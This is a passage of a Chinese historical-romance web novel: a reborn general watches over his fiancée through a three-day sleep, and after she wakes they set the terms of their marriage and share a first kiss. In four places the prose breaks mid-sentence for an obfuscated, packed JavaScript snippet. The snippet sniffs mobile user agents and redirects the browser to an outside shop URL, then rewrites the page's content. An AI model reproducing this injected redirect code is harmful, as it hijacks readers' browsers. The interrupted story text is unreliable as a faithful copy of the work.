然后，天亮了，她醒了。 视线缓缓上移，先是一片模糊的白，然后慢慢聚拢成一张脸，一张陌生的脸。 “你是谁？”她缓缓开口，好似用尽全力，却只是发出一声低沉的呜咽，嗓子像刀片划过般，好涩，好疼。 那人却什么都没说，只是猛地将她抱在怀里。 姚知韫觉得更疼了，那双手臂箍得太紧，紧得像要把她揉进骨血里，紧得她几乎喘不过气来。她想推开他，想说“放开我”，可她动不了，也说不出。 她只能感觉到他在发抖，整个身体都在抖。 霍抉闭上眼睛，将她整个人压进怀中，胸口贴着胸口，心跳叠着心跳，他将头深深地埋进她的脖颈，深深地吸了一口气，确认她身上的味道，感受怀里的人，暖的，有呼吸的，活的，是他的。 他不敢松手，他怕一松手，她就像雾气一般地散掉，再也抓不住，他更不敢睁眼，他怕一睁眼，怀里抱着的又是一块冰冷的尸骨，和上辈子一样，是一具已经腐化了的枯骨。 那个画面又涌了上来，黑沉沉的坟墓，带着腐臭味的泥土，可他满不在意，他只是想和她在一起，一辈子在一起，什么样的方式都不重要。 他躺下去的时候，只有一个念头，真好，终于能一直在一起了。 可如今不一样了，如今的他终于有机会抱着活着的她，会笑，会皱眉，会生气的她，看着他会脸红的她，是即将成为他妻子，与他共度一生的她。 他又怎么能甘心回到那个黑暗的坟墓里去？ 他将脸埋得更深了些，手臂又收紧了几分。 眼泪不知什么时候涌了出来，一颗一颗，滚烫的，落在她的脖颈里，洇进她的发丝间，他任由眼泪流着，任由它们沾湿她的头发，沾湿她的衣领，沾湿这隔了两辈子才终于抱住的人。 “韫儿——，”他一声声地唤着，一遍遍地确认，“你——活着，真好。” 这个声音？是霍抉？ 姚知韫的意识一点点地回笼，发生了什么？她不就是睡了一觉吗？他为什么哭？ 她挣扎着想要抬头，想要看看他的脸。可那双手臂箍得太紧，紧 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17331890|195694||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 得她根本动弹不得。她只能感觉到他埋在她颈窝里的脑袋，感觉到他整个身体都在微微发抖，感觉到—— 有湿热的液体，一滴一滴，落在她的脖子上。 他在哭？ 姚知韫挣扎的身体瞬间僵住。 霍抉？那个在战场上杀伐决断的霍抉？那个在任何人面前都沉稳如山的霍抉？ 在哭？ “你……”，她张了张嘴，嗓子还是疼，疼得说不出话。 他没有回答，只是把她抱得更紧了些。 姚知韫终于费力地抬起手，推了推他的肩膀。 他僵了一下，然后缓缓地，缓缓地，松开了些许。 她抬起头，望进他的脸—— 然后，她呆住了。 这是霍抉？ 那张素来冷峻的脸上，胡子拉碴，青色的胡茬从下巴一直蔓延到两腮，乱糟糟的，像是几天没打理过。眼睛下面乌青一片，眼皮肿着，眼里全是血丝，红得吓人，头发也乱了，几缕散落下来，贴在额前，整个人狼狈不堪。 她从来没见过他这副模样。 他在她面前一直都是整整齐齐，干干净净的，连袍角都没见皱过，她还曾经腹诽过这个人不像是个武将，除了那张脸看得出有些风霜外，多数时候更像个冷峻的文官，可此刻眼前这个人，活像从战场上滚了三圈又被人扔进泥里泡了三天。 “你……”，姚知韫盯着他，一时间竟不知道说什么，“你怎么……成了这样？” 霍抉没有说话，只是看着她，那双布满血丝的眼睛里，有她看不懂的东西——很深，很沉，像是藏着两辈子的重量。 还有——恐惧，是的，就是恐惧，赤裸裸的恐惧，像是曾经失去的再也找不回来的东西，如今终于失而复得，却害怕得小心翼翼不敢松手。 那种恐惧，她也曾经有过，当她终于确认自己还活着的时候，她甚至不敢睡觉，就怕睡下去再也醒不来，可这样的恐惧她在霍抉身上从未见过，他总是胸有成竹，似乎什么问题都难不倒他。 而此刻的他，眼底的恐惧，毫无防备，藏都藏不住。 她不就是睡了一觉吗？ 到底发生了什么？ 霍抉仿佛过了很久，才确认姚知韫真的醒了。 她睡了整整三日，这三日里，吴稚跃来看过她，说她只是睡着了，他不信。 又进宫请了太医，同样的结果，真的只是睡着了吗？他依然不信。 如果只是睡着了，为什么不醒来，梦里有什么让她不愿意醒来？ 是因为他吗？因为他让她觉得被束缚了？因为不想看见他，所以不想醒来？因为想要逃离他，所以宁愿沉睡？ 这个念头冒出来，他的心好疼，疼到几乎窒息，若她真的不想见他，他该怎么办？ 不，他不允许，绝对不允许。 所以他守着她，不吃，不喝，不睡，寸步不离地守着她，仿佛这样等她醒来，她便不会拒绝他了。 他每隔一个时辰，便要确认她的心跳，确认她是活着的，一遍又一遍。 他已经顾不得外面发生了什么，他只祈祷她能醒来，她能活着。 59. 选择 姚知韫看着那张狼狈的脸。 看着看着本能抬起手，抚上了霍抉那张满是胡茬的脸，那黑色的胡茬，坚硬又粗粝，扎得娇嫩的肌肤有些刺痛，可她没有缩回手。 只是拇指来回摩挲着他粗糙的皮肤，一下，又一下，像是在确认，又像是在安抚。 “好脏——，”她笑着开口，声音沙哑的几乎听不清，说完，嘴角微微弯了弯，扯出一个虚弱的、无力的笑，手从脸颊缓缓滑落。 只是还没落下去，就被他一把握住，又贴回了脸颊。 他攥得那样紧，她的掌心贴着他滚烫的皮肤，他的掌心贴着她的手背，却又那么凉。 “我——怎么了？”姚知韫再次开口，声音依旧沙哑。 霍抉没有回答，只是闭上眼睛几不可察地摇了摇头。 他甚至不敢回想。 那日，常嬷嬷传来消息，说姚知韫从孙府回来，便将自己关进了房间，一直到晚膳都没有出来，他放下手里所有的事，便快马加鞭地赶回来。 推开门的瞬间，只看见她缩在那张晃动的吊椅里，了无生气。 除了胸口微弱的起伏，她就像死了一般，叫不醒，唤不应，他喊她的名字，一遍又一遍，她像个破碎的娃娃，他将人抱在怀中，冰凉冰凉的，可无论他如何喊，她都没有任何的反应。 所有的大夫都说她是“劳心耗神，七情内伤，忧思过度，寒气入体”，好在身体底子好，休养几日便好，开了药，可药熬好了却喂不进去，他只好含在自己嘴里，一口一口地喂，不敢停，不敢想。 而她，足足睡了三日，整整三日，他也三日没有敢阖过眼。 “我——”，姚知韫咽了几口口水，喉咙里像堵着一团绵滑，涩得紧，她又咽了咽才再次开口，“想喝水。” 等了良久，霍抉终于动了，他松开一只手，去够床边的茶壶，倒水的时候手在抖，洒了一些在桌上，他顾不上擦，把杯子凑到唇边吹了又吹，又抿了一口，才递到她的唇边。 可抱着她的手，始终没有松开她。 姚知韫无奈地就着杯沿喝了两口，温热的水滑过喉咙，那股干涩的疼终于缓和了些， “我——生病了？”声音虽然还是沙哑，却比方才清晰了些。 霍抉没有立刻回答，他只是看着她，看着那双依旧澄亮的眼睛，看着她微微翕动的嘴唇，看着她依旧苍白的脸——像是要把这一切刻进骨头里。 半晌，他才极轻地点了点头。“嗯。”那声音比起她的还要沙哑，像是从粗砂纸打磨过才挤出来。 姚知韫望着他，他的那双布满血丝的眼睛一瞬不瞬盯着她，忽然不知道该说什么了。 她只是睡了一觉而已，他怎么……就成了这副模样？ “你——，”她张了张嘴，想问你怎么成了这样，可话到嘴边，又咽了回去。 她忽然有些不敢问。 霍抉却像是看懂了她的欲言又止。他把杯子放到一边，又把那只手收回来，重新把她圈进怀里。动作很轻，轻得像怕碰碎什么。 “大夫说，”他的声音闷闷的，从她头顶传来，“你是劳心耗神，七情内伤，忧思过度。”他顿了顿，却在极力抑制着颤抖，“睡了三天。” 姚知韫愣住了。 三天？ 她只觉得做了一场很长很长的梦，想醒却怎么也醒不来。可醒来一看，不过是一夜的工夫。 “那……”，她张了张嘴，“你一直守着——我？” 霍抉没有回答，可他的沉默，就是答案。 姚知韫垂下眼，视线落在他箍在她腰间的手上。那只手，此刻依然在发抖。 她忽然觉得心里有什么东西，轻轻地，碎了，却不是疼痛，而是软软的，酸酸的，说不出是什么滋味。 她甚至觉得自己是不是失忆过？忘记了什么？她不记得他们之间曾经有过生死刻骨的感情，可她来的时候才四岁，她清楚地知道第一次见到的他就是她自己。 这样的霍抉，让她恍惚地以为，她或许上辈子就认识他，不然那样的感情，从何而来？ 她若到现在还以为，他做的这一切只是因为父亲的托付，那她得是有多傻。 她抬起手，轻轻覆在他手背上，那只手比她的还要凉，凉得多，可他原先的掌心一直是温热的。 “霍抉。”她唤他。 他的身子微微一僵。 “你——喜欢我。”她没有抬头，只是把自己的手覆在他手背，声音低低的，“什么时候的事？” 说完，姚知韫便静静地等待，等了很久，很久，久到她开始怀疑，自己是不是自作多情了？久到她脸上的血色，一点一点漫上来，从脸颊烧到耳根，又从耳根烧到脖颈。 她有些恼羞成怒地挣扎，想要挣脱他的紧箍，想要从他怀里逃出去，想要把刚才那句话收回来——可他抱得太紧，紧得她根本动不了。 霍抉依旧没有说话，只是箍着她的手又收紧了几分，她的耳朵贴在他的胸口，能感觉到他心跳的节奏，快得不像话。 然后，她听见他的声音从头顶传来，闷闷的，涩涩的，像是从很深很深的地方一点点挖出来。 “很久——，” 他微微一顿，“久到，我自己也忘了时间，” 这句话是真的，他真的记不清了。 他只记得喜欢她这件事，像是刻在骨头里，从他有记忆的那天起，就一直在那儿。两辈子加起来，那么长的年月，那么多的生死，那么多个辗转反侧的夜——喜欢她这件事，从来没变过。 不，那不是喜欢，是爱，爱到身体只剩下本能。 爱到仿佛人生只剩下一件事，其他的，都不重要了。 姚知韫没有再说话。 她只是静静地伏在他胸口，听着那颗心跳得又快又乱，一下一下，砸在她耳朵里，也砸在她心上。 他说，很久。 那样轻描淡写的两个字，可她听得出，那里面藏着的东西，比她想象的要重得多，多得多。 她甚至不知道应该说什么？ 她知道自己是喜欢他的，可也仅仅只是喜欢，没有喜欢到非他不可，也没有喜欢到可以抛弃原则，放弃自由。 高兴？好像有。被人这样喜欢着，谁能不高兴呢。 可更多的却是——害怕。 是的，害怕。 理智告诉她，这样不对等的感情，应该逃离的。趁还来得及，趁还没有陷得太深，趁还能全身而退——应该走的。 他的喜欢太浓烈了，浓得她有些喘不过气来，她不知道自己能不能适应那么浓烈的感情，她更不知道，自己能不能心甘情愿地被紧箍。 他的性子，她看得分明，那日不让出门的冲突一定还会 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17337034|195694||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 发生，一次两次三次，时间久了，她一定会反抗。 她的性子，她也清楚得很，为了保护自己，她会用最激烈的言语去伤害他，刀刀见骨，不留余地，将自己和他都逼到墙角，退无可退。 最后，两败俱伤。 可此刻，她的身子一动不动。 她舍不得。 舍不得推开这个把她抱得死紧的人，舍不得从他怀里逃出去，舍不得看他那双布满血丝的眼睛里再多一丝丝的失望。 她不知道自己该怎么办。 只能这样静静地伏着，伏在他胸口，听着那颗心跳，一下，又一下。 她可能需要冷静地思考一下。 于是，她缓缓开口，“霍抉，你去洗漱一下吧！” 可霍抉没有动，姚知韫只好又说，“太丑了，而且我饿了。”语气软软的，像一个小孩子在撒娇一般，然后睁着两只小鹿一般的眼睛看着他。 最后，霍抉终于动了，他将她小心翼翼地放回床上，又扯过被子将她捂得严严实实，才转身依依不舍地离开。 姚知韫闭上眼睛，任由心中那两头怪兽拉扯撕咬。 一头说：跑吧。那样浓烈的感觉，你怎么还，拿什么还，你不是最害怕约束，难道以后霍抉束缚你，你就能乖乖就范？而且你不是最怕麻烦吗？霍家可是比崔家更复杂的家族，你甘愿两脚陷进去，再也拔不出来吗？ 另一头却说：你真的只是有一点点的喜欢他吗？那你种土豆做什么？不是在给他留后路？他每个月的消息你没有期待过？他回来了你没有欣喜吗？你当真舍得离开吗？离开后，就再也见不到了，你的人生就再也没有他了。 两头怪兽撕咬着，谁也不肯让谁。一个向左拉，一个向右扯，把她整个人撕成两半，撕得她心烦意乱，撕得她连呼吸都觉得累。 她想逃，可她逃不动。 她想起上一次他们吵架，他也在发抖。 她想起他的眼泪，落在她的脖颈里，烫得她心都揪起来了。 这样的一个男人，她怎么逃？ 可不逃，又该怎么办？ 就这样被他一辈子箍着？由着他一次次替她做决定，一次次把她护在身后，一次次只待在他的身后，当一朵漂亮的菟丝花，永远攀附他生活？将所有的希望寄托在他的身上？然后变得和所有的女人一样，多疑、猜忌、最后面目全非。 她不想和他变成那样。 她闭着眼，咬着唇，任由那两头怪兽，咬得她眼眶发酸，胸口发闷。 不知道过了多久，她忽然睁开眼睛，那双眼睛里有疲惫，有挣扎，也有终于做了决定的坚定。 既然如此，那就好好谈谈，说清楚，讲明白，若他冥顽不灵，那她——就锲而不舍，她还就不信，活了两辈子的智慧，还治不了一个男人。 她忽然想起记得隔壁床的那个很有智慧佟姨，她记不清那是她的第几任病友了，只记得佟姨四十出头，长得很漂亮，她有个很爱她的老公，每天都来，给她带糖炒栗子，给她剥好，一颗一颗喂到她嘴里。 她很羡慕他们那么相爱，佟姨就神秘兮兮地凑到她耳边说，“一哭、二闹、三撒娇，没有哪个男人能受得住女人的撒娇，更何况还是个爱你的男人。” 当时的她只是笑笑，觉得自己这辈子都不可能用上这招了。 可此刻，她忽然笑了。 60. 都听你的 心中做了决定，姚知韫瞬间觉得整个人通体舒畅，说不出的畅快，然后，咕噜噜的肚子叫起来了，她确实饿了。 便扬起声音喊，“小桃——，” 话音刚落，就听到外面噔噔噔的脚步声，越来越近，然后门被撞开了，小桃端着托盘跑得气喘吁吁，她慌慌张张托盘往床头小几上一放，整个人便扑了上来，一把抱住姚知韫，眼泪簌簌地掉，“姑娘，您吓死我了——。” 姚知韫被她扑得往后一仰，笑着抬起手揉了揉小桃的头，“好啦，只是生个病，我这不好好的吗？不哭了。” 小桃抽抽搭搭抬起头，一边抹眼泪，一边将床头的粥碗端起来放在姚知韫的手上，“姑娘，您趁热喝，这可是熬了整整两个时辰的粥，最养人。” 姚知韫低着头看看碗里的粥，稠稠的，冒着热气，木香四溢，勾得她肚子又叫了一声，这粥熬得这么好，怕的早就准备了，是霍抉吗？ “您昏睡这三日，灶上的粥就没断过，常嬷嬷说只要您一醒，就有热腾腾的粥喝。” 原来是常嬷嬷，姚知韫舀了一勺放在嘴里，软糯香甜，她笑着和小桃说，“替我谢谢常嬷嬷，你们都辛苦了。” “姑娘，我们不辛苦，可您这次生病，可把我吓坏了，怎么叫都叫不醒，大夫来了一拨又一拨，连太医都来了，侯爷一直守着你，也不让我们靠近，就连端进来的吃食也从未动过——，谁劝也不听。” 姚知韫握着勺子的手顿了顿，听着小桃的絮叨，原来霍抉不做不休，不吃不喝地守着她三日，怪不得醒来看到他那个样子。 心像被一只无形的手轻轻攥住，有些疼，也有些暖，可更多的是欢欣。 她低头，又舀了一勺粥，送进嘴里，粥很香，很暖，一直暖到心里。 活了两辈子，身边的人来来去去，最后依旧只有她一个人。 一个人久了，便习惯了什么一个人承担，不期待，不信赖，将所有人都放在一个不远不近的距离里，看着，却不靠近，她告诉自己，这样最安全，不管是谁离开，她都不会难过。 霍抉，这个名字在心头转了一圈又一圈，最后落在心脏的正中心，对他，她是否可以期待一下。 或许，最后还是会失望。 可她，想试试。 霍抉收拾好自己，再次回到姚知韫的房间。 他站在门口，看着那个倚靠在床头，目光却投向窗外的人，阳光从窗棂间漏进来，落在她脸上，将她的侧脸勾勒得格外柔和。 他忽然觉得，她不一样了，可到底哪里不一样，他也说不上。 好像围在她身上的那层纱不见了。从前她看他，总是隔着一层什么，不远不近，温温的，却总是看不清。可此刻，她就那样坐着，目光落在外头，什么也没做，什么也没说，他却觉得——看得更真切了。 他的心没来由地慌了一下，可更多的，是抑制不住的欢欣。 姚知韫知道霍抉进来了，缓缓收回自己的视线，指了指旁边的椅子，示意他坐过来。 霍抉没有坐那把椅子，而是径直走过来，在她的床边坐下。 姚知韫不置可否，微微一笑却没有反对，将目光再一次地看向窗外。 “霍抉，”她悠悠地开口，声音平平的，却让霍抉的脊背一紧。 “你娶我不是因为你需要一个妻子，也不是因为我父亲的托付，更不想只是三年，对吗？”姚知韫问得直截了当，毫不迂回。 霍抉听到这些话的瞬间，整个人僵住，她——终究知道了。 对于确定的事情，姚知韫并没有等他的回应，她仿佛只是陈述了一个事实，然后继续说着，“既然我们是要做夫妻的，夫妻一体，有些话总是要说清楚的。” 她终于将视线从窗外收回，落在他的脸上，他的眼眶还是血红血红的，布满了血丝。他不说话，可她感觉得到他的紧张——那种连呼吸都放轻了的紧张。 “我这个人，你可能还不了解，我喜欢猫，特别喜欢，可我从来没想养，因为养久了就会有感情，可猫的寿命却比人要短很多，既然注定要分离，那又何必要开始，” 霍抉的脸色瞬间一白，身子更僵直得不敢动一下。 她看着他，眼底水波流动，尽是笑意 “所以，我喜欢你，”话还没说完，霍抉一把攥住她的肩膀，那样的紧，那双满是血丝的眼睛倏地迸发出一道光，灼热地让姚知韫几乎不敢直视。 她微微用力挣开他的手。 “但——并没有喜欢到非你不可的地步，”话音落，霍抉眼底的光一点点地暗下去。 姚知韫没有看他，看着他眼眸里的变化，她怕自己会心软地说不下去。 “为了我们两个以后相处愉快，也为了那日的矛盾不再发生，接下来说的话，你要记住，这关系着我是会越来越喜欢你？还是会远离你？” 霍抉坐直了身子，袖中的手紧紧攥着掌心，他打仗的时候都没有如此紧张过。 “那日，我生气的并不是你不让我出门，而是你没有告诉我为什么不让我出门，若是理由正当，我不会无理取闹，你护着我，我当然高兴，可是你总不能时时刻刻都护着我，你如今权柄在握，当然无所顾忌，可风云瞬息万变，若是有一天你护不住我了，那我又该如何？” 霍抉往前挪了挪身子，想说什么，被姚知韫制止，“听我说完，” “我可能没你那么厉害，可我有我的想法，我有解决问题的方法，比如这次在孙府的事情，我是不是解决得很好？我没有你想得那么弱，你也不用打着‘为我好’的旗帜，做一些让我不舒服的事情，所谓的‘为我好’，不过就是打着这个旗号做一些让自己心安的事情罢了，可到底什么是好，什么是坏，只有我自己知道。” “事情发生了，你告诉我，我自己会有判断，若我自己能解决当然最好，若是不能我自然也不会逞强，我会向你求助，这点自知之明我还是有的。” 她自嘲地笑了笑，目光却亮得让人无处可躲。 “我不会也不想成为任何人的负累，这一点若你做不到，那我们就各自履行承诺，三年之后，我一定会离开。” “你——懂了吗？”这一次，她望着他的眼睛，声音很轻，可每一个字都像钉子，钉进他的心里。 霍抉眼眶发热，却还是用力地点点 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17343488|195694||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 头，像是怕她看不见似的。 姚知韫脸上的笑又明媚了几分。 “还有，”她继续道，只是这次语气比方才要松快很多，“我喜欢男人干干净净的，方才那个样子最好不要再让我看见，我不喜欢黑色，象牙白也好看，我喜欢吃酸的，不喜欢太甜的——。” 她絮絮叨叨地说着，说了一大堆有的没的，可脸上的笑却越来越大。 霍抉终于知道，她哪里不一样了，她眼底藏着的疏离，真的不见了。 “总结起来就两句话，”她笑望着他，“第一，我说的都是对的，第二，若的不对，参考第一条。” 霍抉愣了愣，一时竟不知道该说什么，这个不一样的人儿，他更喜欢了，过了好一会儿才讷讷地问，“都听你的，你就不会离开吗？” 姚知韫看着他，看着他眼底那一点小心翼翼的期待，心忽然软了一下，她笑了笑。 “我考虑一下。” “好，”霍抉答得很快，快得像怕她反悔，“都听你的。” 霍抉坐在床边，一动不动，他望着她，望着她唇边那抹明艳的笑，望着那双不躲闪的眼睛，眼睛里映着他的影子，那么清晰，他的心里涌上来一股说不清的情绪。 像是一个在大漠里走了很久，渴了太久的人，终于喝到一口水，还是甜的。 像是在黑暗中摸索了太久，终于看见了一缕光。 他不知道自己现在该有什么反应，脸有些僵，眼睛有些酸，嘴角却不受控制地想往上弯，压也压不住，他也不想压。 就那样肆意地笑着，像个孩子终于得到了心心念念许久的玩具。 不敢相信。 不敢眨眼。 他想伸出手去摸摸他，确认她是真的，确认方才那些话都是真的，可手伸到一半，又缩了回来，他害怕，怕这一切都只是自己的错觉。 于是，他就那么坐着，傻傻地坐着，望着她，笑着，像个傻子。 姚知韫看着眼前的霍抉，很难想象这是一个在战场上杀伐果断，在朝堂上运筹帷幄的男人，此刻的他，活像个得了糖的孩子。 又像是一只收起所有爪牙的老虎，乖乖地坐在那里，等着主人摸摸它的头。 原来他还有这样的一面，而这一切是因为她，这样的认知让她的心里被塞得满满的，欢喜压不住。 她忽然涌上一个念头，想逗逗他。 这个念头一冒出来，就再也压不下去了，她也不知道自己哪里来的胆子，大约是此刻的他实在太过无害，大约是方才的事情进行得太过顺利，大约是她——想那么做。 她突然倾身上前，“那我——拭目以待。”说完，她飞快地在他的唇上，轻轻地啄了一下，很快，很轻，像蜻蜓点水，像羽毛拂过，像她什么都没做过。 然后，她退了回去，若无其事地靠回床头，看着他，眼底藏着笑。 霍抉整个人僵住了，那一瞬间，他脑子里一片空白。 她刚才——做了什么？ 他瞪大眼睛看着她，看着她若无其事地靠回床头，看着她眼底藏着的那点狡黠的笑——她故意的。 她故意的！ 61. 有些无赖了 霍抉的喉结上下滚了滚，只觉得一股热气从心底蹿上来，窜到脸上，窜到耳根，烧得他整个人都在发烫。 他不记得自己活了多少年，上辈子加上这辈子，从没有过这种感觉，像被人点了穴，动不了，说不出，只能傻傻地看着她。 而她呢？ 她就那么看着他，眼底的笑意越来越深，越来越藏不住，最后终于弯成了两弯月牙。 “怎么？”她歪了歪头，声音里带着一丝不易察觉的促狭，“霍将军傻了？” 霍抉没有说话，可看着她眼底狡黠的光，还有她唇边那抹得意扬扬的笑—— 然后，他动了。 他猛地倾身上前，一只手撑在她身侧的床铺上，另一只手扣住她的后脑，整个人将她罩在身下。 快得像一头终于扑向猎物的豹。 姚知韫的笑僵在脸上。 “你——” 话没说完，就被堵了回去。 他的唇压下来，重重的，带着不容抗拒的力道。不是她方才那种轻飘飘的啄，是实实在在的、带着滚烫温度的、让她无处可逃的——吻。 她瞪大了眼睛，脑子里嗡的一声，什么也想不了了。 他的手扣着她的后脑，不让她躲。他的呼吸喷在她脸上，滚烫滚烫的。他整个人压过来，把她笼罩在身下，让她无处可逃。 不知过了多久，他才松开她。 他抬起头，看着她那张涨得通红的脸，望着她那双瞪得大大的眼睛，望着她微微张着喘气的唇——他忽然笑了。 得意的，餍足的，眼底闪着“看你还敢不敢”？ “怎么？”他学着她的语气，声音沙沙的，带着一丝压抑不住的笑意，“韫儿也傻了？” 姚知韫瞪着他，脸红得像要烧起来，一句话也说不出来。 想明白了，心情也就好了，病好起来自然也快了。 可姚知韫还是在霍抉的强烈要求下，硬生生地躺了两天，才被允许下床。 霍抉也在姚知韫的一再保证下，去忙自己的事情了。 今日阳光甚好，晒得人浑身都懒洋洋的，姚知韫吩咐小桃将躺椅放在院子里，眯着眼睛躺在上面晒着太阳，随手拈了一颗腌好的覆盆子放在嘴里，酸酸甜甜的，这在舌尖化开。 这东西最初是在清慈院的后院长着，挨着墙角长在一片低矮的灌木丛中，开着素净的小白花，春来不灭，她便移栽了一些在了院子里，从移苗到收获，花了两年多的时间，第三年才有了收获，后来每年都会摘下来许多，腌制成话梅，存起来满满吃。 她眯着眼，又拈了一颗。 忽然想起那日匆匆从孙府离开，后来自己又病了一场，躺了三天才醒，这么些日子过去，竟也没顾上给孙颖递个消息，那日毕竟是她扰了孙颖的生辰宴，后面又不言不语，只怕她会担心，说不定还会多想。 姚知韫忙坐直身子，扬声唤来芙蓉，让她将腌制的覆盆子，连同杏脯、金丝蜜枣，梨脯等，满满地装了两盒送到昌平伯府。 本来想写一封信，可想了半天也不知道写什么，也就作罢，送去这些东西，她应该是能懂的。 待到芙蓉提着两盒沉甸甸的果脯出了门，姚知韫重新躺回躺椅上，又拈了一颗放进嘴里，酸酸甜甜，像此刻的心情，不由自主地哼起小曲来。 了了心事，她又忽然想起她的土豆来。 想着土豆都种下去半月有余，当时种的时候已经开了花，如今该是进入结薯期，她按照记忆摘除了花蕾，又补充肥水，上次去看的时候，块茎已经膨大了不少， 小小的，圆滚滚的，埋在土里，她用手轻轻拨开一点土，就能看见他们藏在那里，像一群害羞的孩子，又过去了几日，也不知道长成什么样子了。 她想着，抬脚已经往暖棚的方向迈了出去。 推开暖房的门，她径直就朝着土豆的方向而去。 她蹲在垄边，仔细地端详着地上的茎叶，原先那一片鲜绿，如今边缘已经开始微微泛黄——这是快要成熟的征兆。 她记得爸爸曾经说过，花谢后十到十五天是块茎膨大最快的时候，上次已经看到圆滚滚的小东西了，如今又过去几日，不知道长成什么样了？ 她挽起袖子，轻轻扒开植株根部旁边的土，指尖碰到一个硬硬的东西，小心地把周围的土再扒开一些，那些土豆已经有鸡蛋那样大了。 她的心随即怦怦地快了起来，“小桃，你看——” 她没有回头，声音里是压不住藏不住的欢喜。 “这些土豆再让它们长上几天，就可以挖出来，不过若是吃的话还是要长上十多天的，让它们长得再大一些，这样容易储存。” 她一边说，一边小心翼翼地将土又覆回去，轻轻拍了拍实。 “不过咱们是要留着做种子的，不能让它们长得太大，太大了土豆容易退化，太小了养分又不够，长出来的苗也弱。” 她蹲在那里，拍打着手上的泥，自顾自地盘算着。 “到时候，咱们就选那些表皮光滑，芽眼浅的留作种子，找一个通风好又阴凉的地方放上两个月，就可以种植第二茬。” 她说着，语气越来越轻快，像是已经看见凤首的样子。 “这东西可是宝贝，耐旱，长得快，产量还高，就这么小小的一株，伺候好了可以结出来十多个拳头那么大的果实，到时候我给你们做炸薯条吃，酥酥脆脆的，可好吃了。” 她似乎不在乎是否有人回应，只是在自言自语。 “真的这么好？”霍抉的声音突然从身后传来。 姚知韫被吓了一跳，身子猛地一晃，一脚踩空——她整个人往后倒去，却跌进了一个结实的怀抱。 那双手臂稳稳地接住她，把她箍得紧紧的，熟悉的气息从身后笼罩下来，带着外头带进来的凉意，还有她闻惯了的那股清洌。 “你——”，她惊魂未定，胸口还怦怦直跳，扭过头瞪他，“你怎么走路没声的！” 霍抉低头看着她，看着她那双瞪得圆溜溜的眼睛，脸颊因为惊吓而泛着微微的红，唇角弯了弯。 “是你太专心了。”他的声音闷闷的，带着一丝笑意。 姚知韫愣了一下，这才意识到自己还被他抱着，整个人贴在他怀里，姿势要多亲密有多亲密，她脸一热，挣扎着想要站起来。 “放开我。” 霍抉没放，反而把她又往怀里拢了拢，下巴抵在她头顶，声音懒懒的：“不放。” “霍抉——！” “嗯？” “你——无赖！” 霍抉笑了一声，那笑声震得她头顶麻麻的。 姚知韫气结，不自在地别过脸去。 自从那日 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17348287|195694||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她一时冲动亲过他之后，他整个人就好像打开了某个开关，从前那个沉稳克制的人不见了，取而代之的是眼前这个，动不动就抱她，逮着机会就不撒手的家伙。 一点避讳都没有，好在这府里都是自己人，这要是传出去了，怕就要坐实外面的那些谣言了。 可这个人呢？浑然不觉，抱得心安理得，她越想越恼，又拿他没办法，索性就往他怀里一缩，把自己的分量全部交给他，企图用自己压死他。 霍抉不知道她的那些小心思，可还是紧了紧了手臂，将她抱紧一些。 “让你好好养病，怎么又跑到暖房来了？”话虽如此，可语气里却没有半分的责怪。说着他弯下腰，将她整个拦腰抱起，姚知韫只觉得身子一轻，下意识地搂住他的脖子。 “霍抉，我自己可以走。” 霍抉却像没听见般，抱着她转身就往外走，“常嬷嬷已经准备好了午膳，正在等我们。” 姚知韫挣了挣，没挣动。她抬起头，看见他线条分明的下颌，看见他唇角那一点若有若无的弧度，只好放弃挣扎，任由他抱着将穿过院子，步伐稳稳的，像是抱着一件什么珍贵的东西。 “你要是喜欢，我在侯府里也给你弄一个暖棚，你想种什么就种些什么，”姚知韫抬起头，正好撞上他低头看着她，眼底带着笑。 “我认识一个朋友，游历四方，走遍九州，见多识广，今日他来了信，会来京城参加我们的婚礼，到时候我介绍你认识他，他那里稀奇古怪的东西多得很，你想要什么尽管开口，我定然给你弄来，只是他在京城待的时间不久，等开了春又要出海去了。” 姚知韫脑海中瞬间便浮现出徐霞客的名字。 